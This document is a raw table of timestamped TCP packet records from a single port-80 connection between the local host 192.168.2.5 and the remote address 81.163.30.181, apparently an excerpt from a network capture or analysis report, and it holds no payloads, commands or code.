Jan 14, 2022 21:06:08.050236940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050261021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050268888 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050286055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050299883 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050309896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050333977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050357103 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050365925 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050379992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050394058 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050404072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050427914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050451040 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050458908 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050476074 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050487041 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050498962 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050523043 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050544977 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050568104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050580025 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050586939 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050592899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050617933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050641060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050649881 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050663948 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050678015 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050688028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050712109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050735950 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050744057 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050760031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050770998 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050785065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050807953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050831079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050841093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050856113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050868034 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050879002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050903082 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050925016 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050935030 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050947905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050961971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.050971031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.050995111 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051019907 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051028013 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051043987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051054001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051067114 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051090956 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051098108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051114082 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051136017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051146984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051158905 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051178932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051194906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051202059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051225901 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051249027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051263094 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051269054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051292896 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051297903 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051321030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051350117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051353931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051374912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051383018 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051397085 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051419020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051440954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051453114 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051462889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051476955 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051486015 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051510096 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051534891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051548958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051559925 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051574945 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051584005 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051605940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051628113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051640034 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051650047 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051665068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051673889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051692963 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051713943 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051734924 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051745892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051760912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051784992 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051795959 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051810026 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051831961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051853895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051862955 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051873922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051893950 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.051903009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051927090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.051959038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.053284883 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.059833050 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.060272932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.078809023 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.078850985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.078886032 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.078906059 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.078913927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.078921080 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.078923941 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.078941107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.078958988 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.078969002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.078988075 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.078994989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079010963 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079021931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079041004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079051971 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079071045 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079082966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079087019 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079108000 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079128027 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079134941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079152107 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079161882 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079189062 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079197884 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079210997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079245090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079245090 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079269886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079284906 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079294920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079312086 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079323053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079339027 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079349041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079365015 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079376936 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079395056 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079404116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079427958 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079430103 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079452991 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079457998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079473019 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079483986 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079488039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079509974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.079525948 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.079547882 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.080517054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.080549002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.080593109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.108855009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.108894110 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.108921051 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.108947039 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109005928 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109006882 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109034061 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109055996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109080076 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109081984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109110117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109114885 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109127998 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109159946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109160900 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109194994 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109205961 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109222889 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109236002 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109255075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109275103 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109282017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109293938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109311104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109338045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109359980 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109366894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109384060 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109395027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109419107 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109421015 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109436035 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109450102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109461069 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109477997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109504938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109504938 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109524965 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109534025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109555006 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109560966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109590054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109608889 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109616041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109633923 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109642982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109663010 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109669924 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109675884 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109697104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109724045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109741926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109752893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109772921 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109778881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109801054 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109807968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109822989 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109836102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109864950 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109889030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109893084 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109915018 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109941959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109967947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.109967947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.109994888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110002995 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110023022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110048056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110073090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110074043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110080004 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110100031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110111952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110131025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110131979 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110157013 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110160112 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110172987 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110187054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110210896 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110213041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110239983 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110265970 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110266924 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110271931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110284090 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110295057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110317945 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110322952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110337973 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110349894 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110375881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110378981 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110403061 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110411882 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110429049 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110438108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110455990 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110456944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110477924 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110483885 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110507965 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110512018 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110539913 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110542059 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110565901 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110572100 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110591888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110594034 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110619068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110625029 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110639095 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110656023 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110673904 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110690117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110716105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110718966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110727072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110748053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110766888 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110774040 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110800982 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110801935 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110817909 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110833883 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110846043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110865116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110882998 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110893011 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110918999 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110922098 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110950947 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.110963106 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110972881 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.110977888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111002922 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111005068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111028910 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111031055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111057997 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111071110 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111083031 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111083984 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111099005 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111113071 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111128092 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111140013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111156940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111166954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111195087 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111195087 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111219883 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111227036 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111238003 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111249924 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111253977 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111278057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111296892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111304998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111331940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111332893 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.111354113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.111377001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.116810083 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.120297909 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.136202097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.136246920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.136339903 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.136372089 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:08.168082952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168133020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168174028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:08.168212891 CET	80	49908	81.163.30.181	192.168.2.5
